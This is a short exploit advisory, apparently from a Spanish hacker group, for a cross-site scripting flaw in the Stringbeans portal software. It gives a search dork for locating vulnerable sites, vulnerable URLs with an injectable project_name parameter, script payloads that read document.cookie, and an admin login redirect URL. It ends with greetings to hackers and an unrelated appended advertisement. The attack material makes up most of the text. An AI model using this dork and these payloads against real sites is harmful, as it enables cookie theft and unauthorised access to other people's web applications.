# Stringbeans (Portal) - Lang Parameter Cross-Site Scripting Vulnerability # Download: # http://www.nabh.com/projects/sbportal # Bug found by JosS / Jose Luis Gngora Fernndez # Contact: sys-project[at]hotmail.com # Spanish Hackers Team # www.spanish-hackers.com # /server irc.freenode.net /join #fullsecure # d0rk: "Powered By Stringbeans" # Stop lammer # Exploit In (XSS): http://server/path/projects?project_id=3&project_name=[XSS] http://server/portal/projects?project_id=3&project_name=[XSS] .... # Cross Siting Scripting (Code): <script>alert(document.cookie)</script> "><script>alert(document.cookie)</script> # Admin Login: http://server/my/portlet_redirect.jsp?orig_url=%2Fportal%2Fmy%2F //---------------------------------------\ Greetz To: All Hackers JosS! / Jose Luis Gngora Fernndez _________________________________________________________________ ?Ests pensando en cambiar de coche? Todas los modelos de serie y extras en MSN Motor. http://motor.msn.es/researchcentre/